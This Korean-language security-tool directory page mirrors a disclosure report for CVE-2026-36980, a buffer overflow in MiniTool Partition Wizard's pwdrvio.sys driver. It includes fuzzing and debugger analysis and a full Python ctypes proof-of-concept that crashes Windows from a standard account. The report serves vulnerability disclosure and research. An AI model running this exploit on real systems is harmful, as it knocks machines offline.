Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-36980-Kernel-BSOD-DoS-PoC — 프로젝트 날짜 : 2026년 2월 / 커널 드라이버의 IOCTL 핸들러에서 버퍼 오버플로우 취약점이 발견되었습니다. 이 취약점으로 인해 권한이 없는 로컬 공격자가 커널 풀 메모리를 손상시켜 즉각적인 시스템 충돌(BSOD) 및 서비스 거부를 유발할 수 있습니다. | Kitploit
도구/GitHubGitHub/canomer/cve-2026-36980-kernel-bsod-dos-poc
Vulnerability AnalysisExploitationDebuggersFuzzingBinary Exploitation
GitHubcanomer/cve-2026-36980-kernel-bsod-dos-poc

CVE-2026-36980-Kernel-BSOD-DoS-PoC

프로젝트 날짜 : 2026년 2월 / 커널 드라이버의 IOCTL 핸들러에서 버퍼 오버플로우 취약점이 발견되었습니다. 이 취약점으로 인해 권한이 없는 로컬 공격자가 커널 풀 메모리를 손상시켜 즉각적인 시스템 충돌(BSOD) 및 서비스 거부를 유발할 수 있습니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
13개월 전아직 검토되지 않음

CVE-2026-36980-Kernel-BSOD-DoS-PoC

프로젝트 날짜: 2026년 2월 / pwdrvio.sys 커널 드라이버의 IOCTL 핸들러에서 버퍼 오버플로우 취약점을 발견했습니다. 이 취약점을 통해 권한이 없는 로컬 공격자가 커널 풀 메모리를 손상시켜 즉각적인 시스템 충돌(BSOD) 및 서비스 거부(Denial of Service)를 유발할 수 있습니다.

  • 2026-02-09 공급업체에 통보
  • 2026-03-05 공급업체가 인정
  • 2026-03-05 MITRE에 CVE 요청
  • 2026-05-10 90일 조정 공개 기간 이후 공개

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

서비스 거부 (DoS) 심각도: 중간(MEDIUM) CVSS 3.1 점수: 5.5 (DoS)
CVSS 벡터 문자열:

  • DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

버퍼 오버플로우 — 서비스 거부 (CVSS 5.5 - 중간)

  • BSOD(Blue Screen of Death) 유발
  • 단독 악용 가능 (디버거 불필요)
  • IOCTL 0x22000d를 통한 버퍼 오버플로우로 인해 발생
  • 모든 테스트 구성에서 일관된 크래시 발생

공격 전제 조건:

  • 대상 시스템에 대한 로컬 접근 권한
  • 표준 사용자 계정 (비관리자)
  • MiniTool Partition Wizard 설치 또는 제거 상태 (pwdrvio.sys 드라이버 로드됨)

악용 결과: DoS - 즉각적인 시스템 충돌, 서비스 이용 불가

취약점 발견 타임라인

1단계: 초기 퍼징 및 BSOD 발견

날짜: 2026년 2월 5일
활동: 맞춤형 Python 퍼저를 사용한 체계적인 커널 드라이버 퍼징

발견 과정:

  1. 대상 선정:

    • Windows 10 VM에 설치된 커널 드라이버 열거
    • pwdrvio.sys를 가장 오래된 드라이버로 식별 (타임스탬프: 2009년 6월 16일)
    • 드라이버 파일: C:\Windows\System32\drivers\pwdrvio.sys
    • 디바이스 객체: \\.\PartitionWizardDiskAccessor\0
  2. 초기 퍼징:

    • 드라이버와 인터페이스하기 위해 ctypes를 사용하는 Python 퍼저 개발
    • WriteFile/DeviceIoControl을 통해 드라이버 디바이스로 무작위 데이터 전송
    • 결과: 다수의 BSOD(Blue Screen of Death) 발생
  3. 검증기(Verifier) 활성화:

    • 향상된 크래시 감지를 위해 드라이버 검증기(Driver Verifier) 활성화
    root@kitploit:~
    verifier /standard /driver pwdrvio.sys
    

    검증기 구성:

    root@kitploit:~
    Verifier Flags: 0x001209bb
    Standard Flags Enabled:
      [X] Special pool
      [X] Force IRQL checking  
      [X] Pool tracking
      [X] I/O verification
      [X] Deadlock detection
      [X] DMA checking
      [X] Security checks
      [X] Miscellaneous checks
      [X] DDI compliance checking
    

2단계: WinDbg 커널 디버깅 환경 구성

날짜: 2026년 2월 5~6일
활동: 근본 원인 분석을 위한 커널 디버깅 환경 구축

구성 절차:

  1. VMware 직렬 포트 구성:

    root@kitploit:~
    VMware Workstation Pro → VM Settings
    ├─ Add Hardware → Serial Port
    ├─ Connection: "Use named pipe"
    ├─ Path: \\.\pipe\com_1
    ├─ End: "This is the server"
    └─ I/O Mode: "Yield CPU on poll" ✓
    
  2. 게스트 OS 구성:

    root@kitploit:~
    REM Administrator Command Prompt
    bcdedit /debug on
    bcdedit /dbgsettings serial debugport:1 baudrate:115200
    shutdown /r /t 0
    
  3. 호스트 WinDbg 연결:

    root@kitploit:~
    WinDbg → File → Attach to Kernel
    ├─ Port: \\.\pipe\com_1
    ├─ Baud Rate: 115200
    ├─ Pipe: ✓
    └─ Reconnect: ✓
    
    Result: "Kernel Debugger connection established."
    

3단계: 근본 원인 분석 - 임의 쓰기(Arbitrary Write) 발견

날짜: 2026년 2월 6일
활동: 임의 커널 쓰기 프리미티브 식별

분석 단계:

  1. 모듈 분석:

    root@kitploit:~
    1: kd> lm m pwdrvio
    start             end                 module name
    fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)
    
    1: kd> !drvobj pwdrvio 2
    Driver object (fffff805`XXXXXXXX) is for:
     \Driver\pwdrvio
    
    DriverEntry:   fffff805`315f6008
    DriverUnload:  fffff805`315f1060
    
    Dispatch Routines:
    [00] IRP_MJ_CREATE                      fffff805`315f108c
    [02] IRP_MJ_CLOSE                       fffff805`315f12f8
    [03] IRP_MJ_READ                        fffff805`315f16c4
    [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
    [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
    
  2. 취약한 명령어 발견:

    쓰기 핸들러에 중단점 설정:

    root@kitploit:~
    1: kd> bp pwdrvio+0x1641
    1: kd> g
    
    Breakpoint 0 hit
    pwdrvio+0x1641:
    fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
    

    핵심 발견: 임의 쓰기 프리미티브 확인!

    • 명령어가 커널 포인터(RAX)를 주소 [R11-0x10]에 기록
    • R11은 스택 프레임에서 로드됨: mov r11, qword ptr [rbp+0xB8h]
    • 대상 주소에 대한 검증이 수행되지 않음
  3. 레지스터 상태 분석:

    root@kitploit:~

4단계: UAF에서 임의 쓰기(Arbitrary Write)까지의 분석

날짜: 2026년 2월 6~7일
활동: Use-After-Free에서 write-what-where 조건까지 취약점 추적

메모리 손상 체인:

  1. IRP 할당:

    root@kitploit:~
    0: kd> !pool @rbp
    Pool page ffffe60f84c38610 region is Special pool
    *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
    Pooltag Irp+ : I/O verifier allocated IRP packets
    
  2. 버퍼 관계:

    root@kitploit:~
    0: kd> r rsi
    rsi=ffffe60f828df900  ← User buffer location
    
    0: kd> ? @rbp - @rsi
    Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
    

    분석: 사용자 버퍼는 RBP 프레임에서 직접 접근할 수 없음

    • RBP는 커널 풀의 IRP 구조를 가리킴
    • 사용자 버퍼는 다른 메모리 영역에 있음
    • RBP+0xB8 오프셋은 사용자 제어 버퍼를 가리키지 않음
  3. Use-After-Free 조건:

    드라이버는 IRP 구조에 댕글링 포인터를 유지합니다:

    root@kitploit:~
    // Ghidra decompilation (pwdrvio+0x1564)
    longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP
    
    // No validation!
    lVar5 = IoBuildAsynchronousFsdRequest(...);
    
    // Write to [lVar1 - 0x10]
    *(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!
    

6단계: 서비스 거부(DoS) 식별

날짜: 2026년 2월 8일
활동: 단독 DoS 취약점 발견

발견:

  1. IOCTL 퍼징:

    • 잘못된 버퍼로 다양한 IOCTL 코드 테스트
    • IOCTL 0x22000d를 취약한 것으로 식별
  2. 크래시 메커니즘:

    root@kitploit:~
    # Vulnerable parameters
    TARGET_IOCTL = 0x22000d
    
    input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192  # Driver trusts this value!
    
    DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                    real_output_buffer, fake_output_length, ...)
    
  3. 드라이버 동작:

    • 드라이버는 사용자가 제공한 출력 버퍼 길이를 신뢰함
    • 4바이트 버퍼에 8192바이트를 쓰려고 시도
    • 버퍼 오버플로우 → 풀 손상 → BSOD

검증기 출력:

root@kitploit:~
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type

PROCESS_NAME: python.exe

취약점 #2: 서비스 거부 (DoS)

CWE 분류

  • CWE-120: 입력 크기를 검사하지 않는 버퍼 복사
  • CWE-119: 메모리 버퍼 내 작업의 부적절한 제한
  • CWE-248: 처리되지 않은 예외

취약점 세부 정보

위치: pwdrvio.sys IOCTL 핸들러
취약한 IOCTL: 0x22000d

트리거 메커니즘:

root@kitploit:~
import ctypes
from ctypes import wintypes

DEVICE_NAME = r"\\.\PartitionWizardDiskAccessor\0"
TARGET_IOCTL = 0x22000d

kernel32 = ctypes.windll.kernel32

# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)

# Malicious parameters
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)  # Only 4 bytes!
fake_output_length = 8192  # Claim 8192 bytes!
bytes_returned = wintypes.DWORD(0)

# Trigger overflow
kernel32.DeviceIoControl(handle, TARGET_IOCTL, 
                         input_buf, 1024,
                         real_output_buffer, fake_output_length,  # ← Overflow!
                         ctypes.byref(bytes_returned), None)

크래시 동작:

드라이버 검증기(Driver Verifier) 활성화 상태:

root@kitploit:~
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - Corrupted pool allocation detected
Arg2: fffff805315f1404 - Driver code address (IOCTL handler)
Arg3: ffffe60f84c38000 - Pool allocation address
Arg4: 0000000000000091 - Special pool pattern corrupted

Analysis:
- Driver attempts to write 8192 bytes to 4-byte buffer
- Pool header corruption detected by verifier
- Immediate bugcheck (BSOD)

Process triggering crash: python.exe (standard user)

드라이버 검증기(Driver Verifier) 미활성화 상태:

root@kitploit:~
SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - Access violation
Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap frame
Arg4: 0000000000000000

Result: Blue Screen of Death

전체 코드 및 악용

코드:

root@kitploit:~
import ctypes
from ctypes import wintypes

# --- Settings ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccessor\0"
kernel32 = ctypes.windll.kernel32

# --- Defines ---
# Windows API Defines
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[!] MiniTool DoS...")
    
    # 1. Connect Driver
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Couldnt Connect.")
        return

    # 2. Preperation
    # IOCTL from Fuzzer
    TARGET_IOCTL = 0x22000d 
    
    # Input: Fiiled 0xFF - 1024 byte (Pointer Poisoning)
    in_size = 1024
    input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size))
    
    # Output Trap: Standard 4 byte, 8192 byte in Driver
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192 
    bytes_returned = wintypes.DWORD(0)

    print("[+] Wait for BSoD...")

    # 3. Loop (Pool Corruption)
    while True:
        kernel32.DeviceIoControl(
            handle, 
            TARGET_IOCTL, 
            input_buf, 
            in_size, 
            real_output_buffer, 
            fake_output_length, # <--- Vulnerable Point: Driver BufferOverflow
            ctypes.byref(bytes_returned), 
            None
        )

if __name__ == "__main__":
    trigger_bsod()

악용:

root@kitploit:~
PS C:\Users\standarduser\directory> & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py

개념 증명(PoC) 및 재현 절차

전제 조건

테스트 환경:

  • 운영체제: Windows 10 Home 빌드 19045.6466
  • 아키텍처: x64
  • MiniTool 버전: Partition Wizard 13.5
  • 드라이버: pwdrvio.sys (2009년 6월 16일자)
  • 사용자 계정: 표준 사용자 (비관리자)

필요한 도구:

  • LPE용: WinDbg (Windows 디버거), VMware Workstation
  • DoS용: ctypes를 지원하는 Python 3.x

재현 #1: 서비스 거부 (단독)

1단계: 드라이버 설치 확인

root@kitploit:~
C:\> sc query pwdrvio

SERVICE_NAME: pwdrvio
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)

2단계: 드라이버 검증기 활성화 (선택 사항이지만 권장)

root@kitploit:~
REM Administrator Command Prompt
C:\> verifier /standard /driver pwdrvio.sys

REM Verify configuration
C:\> verifier /query

Verifier Flags: 0x001209bb
  Standard Flags:
    [X] 0x00000001 Special pool
    [X] 0x00000002 Force IRQL checking
    [X] 0x00000008 Pool tracking
    [X] 0x00000010 I/O verification
    [X] 0x00000020 Deadlock detection
    [X] 0x00000080 DMA checking
    [X] 0x00000100 Security checks
    [X] 0x00000800 Miscellaneous checks
    [X] 0x00020000 DDI compliance checking

  Driver Verification List:
    MODULE: pwdrvio.sys (load: 1 / unload: 0)

REM Reboot for verifier to take effect
C:\> shutdown /r /t 0

3단계: DoS 악용 스크립트 생성

dos_exploit.py로 저장:

root@kitploit:~
import ctypes
from ctypes import wintypes

# Device path
DEVICE_NAME = r"\\.\PartitionWizardDiskAccessor\0"
kernel32 = ctypes.windll.kernel32

# Windows API definitions
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, 
                                     wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[*] MiniTool pwdrvio.sys DoS Exploit")
    print("[*] Triggering Blue Screen of Death...")
    
    # Open device
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Failed to open driver")
        print("[-] Ensure MiniTool Partition Wizard is installed")
        return
    
    print("[+] Driver opened successfully")
    
    # Vulnerable IOCTL code
    TARGET_IOCTL = 0x22000d
    
    # Input buffer: 1024 bytes of 0xFF
    input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
    
    # Output buffer: Only 4 bytes (but claim 8192!)
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192  # Driver trusts this value → Overflow!
    bytes_returned = wintypes.DWORD(0)
    
    print("[!] Sending malicious IOCTL...")
    print("[!] System will crash in 3...2...1...")
    
    # Trigger buffer overflow → BSOD
    kernel32.DeviceIoControl(
        handle, 
        TARGET_IOCTL, 
        input_buf, 
        1024, 
        real_output_buffer, 
        fake_output_length,  # ← Vulnerability trigger
        ctypes.byref(bytes_returned), 
        None
    )
    
    # This line will never execute
    print("[*] If you see this, the exploit failed")

if __name__ == "__main__":
    trigger_bsod()

4단계: 악용 코드 실행 (표준 사용자)

root@kitploit:~
C:\> whoami
desktop-lfkkhu2\standard_user

C:\> python dos_exploit.py
[*] MiniTool pwdrvio.sys DoS Exploit
[*] Triggering Blue Screen of Death...
[+] Driver opened successfully
[!] Sending malicious IOCTL...
[!] System will crash in 3...2...1...

[System immediately crashes with BSOD]

예상 결과:

중지 코드가 있는 블루 스크린:

root@kitploit:~
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)

또는

root@kitploit:~
SYSTEM_SERVICE_EXCEPTION (3b)

확인: 시스템 충돌로 DoS 취약점 확인

MiniTool 소프트웨어:

root@kitploit:~
Product:               MiniTool Partition Wizard
Version:               13.5
Installation Path:     C:\Program Files\MiniTool Partition Wizard
Driver Path:           C:\Windows\System32\drivers\pwdrvio.sys
Driver Date:           June 16, 2009 (0x4A36F8D1)
Driver Size:           32,256 bytes

테스트 도구:

root@kitploit:~
WinDbg Version:        10.0.29507.1001 AMD64
Python Version:        3.x with ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard flags)

영향을 받는 버전

취약한 것으로 확인됨

주요 제품:

  • MiniTool Partition Wizard 13.5
  • pwdrvio.sys를 사용하는 모든 이전 버전

드라이버 세부 정보:

root@kitploit:~
File Name:          pwdrvio.sys
File Version:       [Not available]
File Size:          32,256 bytes (31.5 KB)
Time Stamp:         0x4A36F8D1 (June 16, 2009, 04:43:45 UTC)
Digital Signature:  [Signed by vendor]
Device Name:        \\.\PartitionWizardDiskAccessor\0
Service Name:       pwdrvio
Load Order:         Boot Start (SERVICE_BOOT_START)

잠재적으로 영향받는 제품

동일한 드라이버를 사용할 수 있는 기타 MiniTool 제품:

  • MiniTool Power Data Recovery
  • MiniTool Partition Wizard Bootable Edition
  • MiniTool ShadowMaker

참고: 각 제품은 확인을 위해 개별적으로 테스트해야 합니다.

운영체제 호환성

테스트되어 취약함이 확인된 OS:

  • Windows 10 Home 빌드 19045.6466 (x64)

취약할 가능성이 높은 OS (테스트되지 않음):

  • Windows 7 (x64)
  • Windows 8 / 8.1 (x64)
  • Windows 10 (모든 빌드, x64)
  • Windows 11 (x64)
  • Windows Server 2008 R2 이상

이유: 드라이버는 모든 최신 Windows 버전과 호환되며 버전별 검사가 포함되어 있지 않습니다.

법적 고지

이 저장소는 통제된 실험실 환경에서 교육, 방어적 보안 연구 및 취약점 재현 목적으로만 제공됩니다. 여기에 포함된 정보와 개념 증명(PoC) 코드는 방어자, 연구자 및 공급업체가 보고된 취약점을 이해하고 해결하도록 돕기 위한 것입니다. 명시적 허가 없이 시스템에 대해 이 코드를 무단 또는 악의적으로 사용하는 경우 관련 법률 및 규정을 위반할 수 있습니다. 저자는 불법 활동을 권장하거나 묵인하지 않으며, 이 자료로 인한 오용이나 피해에 대해 책임을 지지 않습니다.

이 취약점 공개 보고서는 다음을 위해 제공됩니다:

  1. 보안 연구 및 교육
  2. 공급업체 통보 및 패치 개발
  3. 최종 사용자 보호
  4. 학술 및 방어적 보안 목적

금지된 용도:

  • 컴퓨터 시스템에 대한 무단 접근
  • 악의적인 악용
  • 모든 불법 활동

연구자는 통제된 환경에서 개인 소유 시스템에 대해서만 모든 테스트를 수행했습니다. 제3자 시스템에 대한 무단 접근은 수행되지 않았습니다.

보고서 버전: 1.0
최종 업데이트: 2026년 2월 9일

도구 다운로드
0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame 0: kd> dq @rbp+0xB8 L1 ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 loaded from here